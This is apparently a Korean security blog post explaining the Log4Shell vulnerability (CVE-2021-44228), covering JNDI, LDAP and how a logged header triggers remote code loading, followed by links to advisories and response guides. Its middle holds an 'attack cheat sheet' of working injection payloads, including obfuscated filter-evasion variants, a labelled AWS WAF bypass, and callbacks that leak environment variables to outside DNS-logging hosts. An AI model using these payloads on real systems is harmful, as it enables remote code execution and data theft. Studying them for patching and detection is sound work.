Log4J는 JAVA 기반 로그 수집할 때 일반적으로 사용하는 로깅 라이브러리 이용된다.
전자정부표준프레임워크에서도 Log4J를 사용하며, 일반적으로 스프링이나 이클립스에서 사용되는 라이브러리
RCE를 이용해 쉘 권한 취득 및 SQL 인젝션 등 여러 공격이 가능하지만 쉘 권한 취득으로 인해 CVE에서도 높은 등급을 받으며 한동안 주요 화두로 올랐던 취약점
해당 취약점을 이해하기 위해서 아래와 같은 용어들의 개념이해가 필요하다.
JNDI (Java Naming and Directory Interface)?
The Java Naming and Directory Interface™ (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the Java™ programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories -new, emerging, and already deployed can be accessed in a common way.
출저 : https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
=> Java 프로그래밍 언어를 사용하여 작성된 애플리케이션에 이름 지정 및 디렉토리 기능을 제공하는 API. 특정 디렉토리 서비스 구현과 독립적으로 정의됨. 새로운 디렉토리, 이미 배포된 디렉토리 등 다양한 디렉토리에 공통된 방식으로 액세스 할 수 있음.
LDAP (Lightweight Directory Access Protocol)?
TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.
네트워크상에서 조직이나 개인, 파일, 디바이스 등을 찾아볼 수 있게 해주는 소프트웨어 프로토콜입니다. LDAP이 등장하기 전 디렉토리 서비스 표준인 X.500의 DAP(Directory Access Protocol)가 존재했지만 OSI 계층 전체의 프로토콜을 지원하고 통신 간에 네트워크 자원을 많이 소비하는 등 운영 환경에 제약이 많았습니다. LDAP은 OSI 계층 전체가 아닌 TCP/IP 위에서 운용되고 DAP의 스펙을 최대한 유지하면서도 경량화해 네트워크 부담을 줄이도록 설계되었습니다.
참조 : https://www.samsungsds.com/kr/insights/ldap.html
=> 즉, LDAP 디렉터리에 데이터를 저장하고 사용자가 디렉터리에 엑세스할 수 있도록 인증하기 위해 주로 사용함.
OTP 인증에서도 LDAP을 통해 인증하는 경우가 있음
Log4J 취약점(CVE-2021-44228)
원격 코드 실행이 가능한 취약점
JNDI(Java 명명 및 디렉터리 인터페이스)가 "${jndi}" 명령의 특정 서식이 포함된 로그 메시지를 받으면 취약점이 트리거 된다.
일반적인 공격으로는 JNDI가 로그를 남기기위해 파싱을 진행하는데 명령은 LDAP(경랑 디렉터리 액세스 프로토콜)를 활용하여 원격 호스트 URL에 연결하는 것이다.
즉, 공격자의 서버에 연결하여 쉘을 열기위해 ${jndi:ldap://(공격자의 사이트)/(실행될 페이로드 or 클래스)}를 이용해서 공격하게 된다.
예를들어, 헤더 패킷에 User-Agent로 전달된 data를 로그로 남긴다는 설정이 되어있다면
User-Agent: ${jndi:ldap://<host>:<port>/<path>}
이런 구문을 이용하여 공격을 해볼 수 있다.
Log4J ATTACK CHEAT SHEET
${jndi:ldap://${env:user}.uedo81.dnslog.cn/exp}
${jndi:dns://${hostName}.uedo81.dnslog.cn/a}
${jndi:dns://${env:COMPUTERNAME}.uedo81.dnslog.cn/a}
${jndi:dns://${env:USERDOMAIN}.qnfw43.dnslog.cn/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://dslepf.dnslog.cn/tem}
${${lower:jndi}:${lower:rmi}://dslepf.dnslog.cn/tem}
${jndi:ldap://dslepf.dnslog.cn/exp}
${jndi:dns://aeutbj.example.com/ext}
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/ass}
${${::-j}ndi:rmi://127.0.0.1:1389/ass}
${jndi:rmi://a.b.c}
${${lower:jndi}:${lower:rmi}://q.w.e/poc}
${${lower:${lower:jndi}}:${lower:rmi}://a.s.d/poc}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} (AWS WAF bypass)
[관련자료]
CVE-2021-44228 (Log4Shell) Apache Log4j 보안 취약점 대응
1. 사건 개요 CVE-2021-44228, 아파치 소프트웨어 재단의 자바 언어로 제작된 Log4j 라이브러리를 사용하는, 대부분의 인터넷 서비스에서 매우 중대한 보안 취약점이 발견된 사건. (From 나무위키) 이 취
blog.plura.io
https://nvd.nist.gov/vuln/detail/CVE-2022-33915
NVD - CVE-2022-33915
CVE-2022-33915 Detail Description Versions of the Amazon AWS Apache Log4j hotpatch package before log4j-cve-2021-44228-hotpatch-1.3.5 are affected by a race condition that could lead to a local privilege escalation. This Hotpatch package is not a replaceme
nvd.nist.gov
https://alas.aws.amazon.com/AL2/ALAS-2022-1806.html
ALAS2-2022-1806
Amazon Linux 2 Security Advisory: ALAS-2022-1806 Advisory Release Date: 2022-06-13 16:56 Pacific Advisory Updated Date: 2022-07-08 12:43 Pacific Severity: Important Issue Overview: Versions of the Apache Log4j hotpatch package before log4j-cve-2021-44228-h
alas.aws.amazon.com
https://www.upguard.com/blog/apache-log4j-vulnerability
Log4Shell: The Log4j Vulnerability Emergency Clearly Explained | UpGuard
A concise overview of the Apache Log4j vulnerability, its implications, and how to secure your sensitive data against its exploitation.
www.upguard.com
[대응 방안]
Apache Log4j 취약점 분석 및 대응방안
01. Apache Log4j의 개요 2021년 12월 9일 23시 25분 전세계 소프트웨어 생태계를 뒤흔들 게시글이 트위터에 업데이트 되었다. Alibaba Cloud’s Security의 @P0rZ9가 ‘Apache Log4j jndi RCE’라는 메시지
www.igloo.co.kr
https://www.soft2000.com/26950
공포의 Log4j 취약점, 효과적인 대응 방안은?
2021년 12월 초, 보안 업계를 넘어 전 세계를 떠들썩하게 한 취약점이 발견되었다. 월간안 독자들도 익히 들어봤을 Log4j 취약점이다. 간단한 문자열을 활용해 원격 코드 실행을 통한 서버 장악이
www.soft2000.com
'Security > WEB' 카테고리의 다른 글
HTTP request smuggling(HTTP 요청 밀수) (0) | 2023.02.13 |
---|---|
클릭재킹_CLIKJACKING (0) | 2022.09.13 |
크로스 사이트 스크립팅_XSS[Cross Site Script] (0) | 2022.09.13 |